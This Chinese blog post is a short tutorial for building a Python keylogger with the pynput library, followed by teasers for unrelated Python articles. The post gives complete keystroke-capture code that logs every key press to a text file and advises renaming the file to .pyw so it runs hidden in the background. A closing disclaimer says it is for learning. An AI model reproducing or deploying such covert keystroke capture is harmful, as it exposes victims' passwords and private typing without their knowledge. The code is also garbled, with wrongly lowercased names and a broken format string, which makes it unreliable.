超级简单,在 Python 中用 7 行代码创建一个键盘记录器

小夏 科技 更新 2024-01-29

键盘记录器用于捕获计算机键盘输入的击键。 我们将使用 python 构建一个键盘记录器。

我听说现在很流行完全更改键盘记录器**

from pynput.keyboard import key, listener

import logging

logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")

def on_press(key):

logging.info(str(key))

with listener(on_press=on_press) as listener :

listener.join()

程序运行后,将在当前目录中创建一个新的文件键盘日志txt。键盘的键盘记录记录在文件中。 下面是一个示例:

2023-12-13 08:21:04,213 - 'a'

2023-12-13 08:21:04,400 - 'b'

2023-12-13 08:21:04,650 - 'c'

2023-12-13 08:21:06,134 - key.enter

在开始之前,我们需要安装一个特定的库 pynput,这是一个跨平台的第三方 python 库,可以监听和操作鼠标和键盘,我们可以使用 pip 命令来做到这一点pip install pynput

from pynput.keyboard import key, listener

import logging

导入所需的模块。 日志记录模块可以帮助我们非常灵活地记录信息。

logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")

配置日志记录参数。 指定将击键日志记录保存到键盘日志中txt,指定存储格式:yy-mm-dd hh-mm-ss(ms) -key

def on_press(key):

logging.info(str(key))

自定义函数接受用户按下的键,并在将其转换为字符串后将其记录到文件中。

with listener(on_press=on_press) as listener :

listener.join()

创建侦听器的实例,记录击键,并将自定义函数作为参数传递。 用join() 方法。 每次按下某个键时,都会触发侦听器,调用自定义函数,并将击键记录到文件中。

在 Windows 上,只需将文件扩展名添加到 .py 重命名为 .pyw,然后双击该文件在后台运行,而不弹出 python 终端。

我们编写了一个简短有效的python键盘记录器来记录击键,目的是学习习 python,请不要将其用于恶意目的。

创建文章并不容易,如果您喜欢这篇文章,请关注、点赞并与您的朋友分享。 如果您有意见和建议,请在评论中给我们反馈。

相似文章

    Python中choices函数的用法 选项与随机性的完美结合

    在 Python 中,choices 函数是一个非常有用的工具,它允许我们从给定的选项列表中随机选择一个元素。本文将深入介绍选择函数的使用,包括其基本概念 使用场景 参数分析以及实际应用。秋冬入住挑战 通过本文的习,读者将能够熟练使用选择函数,并在编程中充分利用它。基本概念。choices 函数由 ...

    揭开 Python 中随机函数的技巧,帮助您成为编程大师!

    在 Python 中使用 shuffle 函数在 Python 中,shuffle 函数是一种用于随机加扰序列的方法。它可以用于字符串 列表等可迭代对象,而不是返回一个新对象,而是直接对原始对象进行无序操作。shuffle 函数是 random 模块中的一个方法,因此在使用之前需要导入 random...

    Python 中 choices 函数的用法

    在编写Python程序时,经常需要进行随机选择操作,以增加程序的灵活性和随机性。Python 提供了一个强大的选择函数,可以帮助我们实现各种不同类型的随机选择。python 中的 choices 函数是 random 模块中的一个函数,用于从给定序列中进行随机选择。具体基本用法如下 import r...

    Python 中格式函数的用法

    在 Python 编程中,格式化输出是一项非常重要的操作,可以使数据更加直观和易于理解。Python 中的 format 函数是实现格式化输出的主要方法之一。它可以将变量插入到字符串中,并以某种格式排列和显示它们。基本用法 最基本的用法是使用位置参数。在字符串 中使用大括号来指示需要插入变量的位置,...

    Python 中示例函数的用法

    在 Python 中,sample 函数用于从指定的事件空间中随机选择指定数量的样本。它通常用于统计学 机器科学 习等领域,在处理数据集时特别有用。下面是如何使用示例函数的示例 python import numpy as np 创建一个包含 个元素的一维数组。data np.array ,,,,,...